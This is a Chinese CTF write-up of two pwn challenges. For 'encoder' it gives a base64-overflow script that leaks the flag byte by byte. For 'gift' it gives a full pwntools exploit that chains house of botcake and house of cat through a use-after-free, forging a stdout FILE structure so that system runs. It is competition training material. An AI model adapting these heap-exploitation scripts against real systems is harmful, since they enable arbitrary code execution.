0x00

DAMN 也是 ak 十道题目拿下第一(虽然感觉没什么人打)

0x01 encoder

非常简单, base64 加密后数据长度会溢出, 然后可以逐步带出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import *
import base64

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "minori.node.bxs.team"
port = 51850
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript=gs)

payload = base64.b64encode(b'A' * 191 + b'\n')

def leak_byte(io, pre):
#从strcmp返回值直接读出下一个字节
io.sendline(b'3')
io.recvuntil(b'Input raw (Y/N)?')
io.sendline(b'Y')
io.recvuntil(b'Input raw string: ')
io.sendline(payload + pre)
recv = io.recvuntil(b'Choice: ')
if b'Correct' in recv:
return 0
val = recv.split(b'strcmp returned ')[1].split(b'\n')[0]
return int(val)

io = start()

# 发送191个A,buf填满256字节base64且无null
io.recvuntil(b'Input string: ')
io.sendline(b'A' * 191)
io.recvuntil(b'Choice: ')

# flag直接出
flag = b''
while True:
ret = leak_byte(io, flag)
if ret == 0:
break
next_byte = (-ret) & 0xff
if next_byte == ord('\n') or next_byte == 0:
break
flag += bytes([next_byte])
log.info(f'Flag: {flag.decode(errors="replace")}')

log.success(f'FLAG: {flag.decode()}')
io.interactive()

0x02 gift

堆菜单 给了一次 uaf, 索引限制 0-8,glibc2.31某个比较新的小版本 (会检查各个hooks, 非空则退出, 不能打 hook)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 sub_17EE()
{
signed int n8; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !dword_4110 )
{
dword_4110 = 1;
puts("A gift for you");
printf("input index: ");
__isoc99_scanf("%d", &n8);
if ( (unsigned int)n8 <= 8 )
{
if ( *((_QWORD *)&unk_40C0 + n8) )
free(*((void **)&unk_40C0 + n8));
else
puts("index not used......");
}
else
{
puts("index out of range......");
}
}
return __readfsqword(0x28u) ^ v2;
}

直接 house of botcake + house of cat注意一下堆布局即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
from pwn import *
import base64

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
filename = "pwn"
libcname = "./libc.so.6"
host = "minori.node.bxs.team"
port = 52193
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
ld = ELF("./ld-linux-x86-64.so.2")
gs = '''
b *$rebase(0x1358)
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript=gs, env={"LD_PRELOAD":"./libc.so.6"})

def ch(num):
io.recvuntil(b'>>>')
io.sendline(str(num).encode())

def add(idx, size, data = b'\n'):
ch(1)
io.recvuntil(b'input index: ')
io.sendline(str(idx).encode())
io.recvuntil(b'input size: ')
io.sendline(str(size).encode())
io.recvuntil(b'input your note: ')
io.send(data)

def free(idx):
ch(3)
io.recvuntil(b'input index: ')
io.sendline(str(idx).encode())

def show(idx):
ch(2)
io.recvuntil(b'input index: ')
io.sendline(str(idx).encode())

def uaf(idx):
ch(4)
io.recvuntil(b'input index: ')
io.sendline(str(idx).encode())

io = start()

add(0, 0x100) #0 pre
add(1, 0x100) #1 victim

for i in range(2, 9):
add(i, 0x100) #2-8

for i in range(2, 9):
free(i) # free 2-8

uaf(1) # victim in unsorted bin
show(1)
io.recvuntil(b'now, show the note: ')
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x1BCB80 - 0x60
log.info("libc_base --> "+hex(libc_base))
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
ogg = libc_base + 0xcbca1
log.info("ogg --> " + hex(ogg))

stdout = libc.sym['_IO_2_1_stdout_'] + libc_base

fake_IO_addr = stdout
fake_IO = b'sh' # _flags
fake_IO = fake_IO.ljust(0x10 + 0x20, b'\x00') + p64(fake_IO_addr + 0x120) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 此处我们不需要控制rdx,随便设置一个大于0的值即可,满足大于_wide_data->_IO_write_base
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym["system"]) # _wide_data->_wide_vtable->_IO_WOVERFLOW
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(fake_IO_addr + 0x120) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x10) # _wida_data
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x10 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

free(0) # pre -> unsortedbin consolidate

add(2, 0x100) # out of tcache
free(1) # victim in tcache and usortedbin
add(3, 0xf0) # out of consolidated chunk
add(4, 0xf0, p64(0) + p64(0x100) + p64(stdout)) # modify victim->fd
add(5, 0x100) # victim out of tcache
add(6, 0x100, fake_IO) # stdout

io.interactive()
#flag{frOM-SYsNOw:Y0U-Got-1tl!!10b9bb078}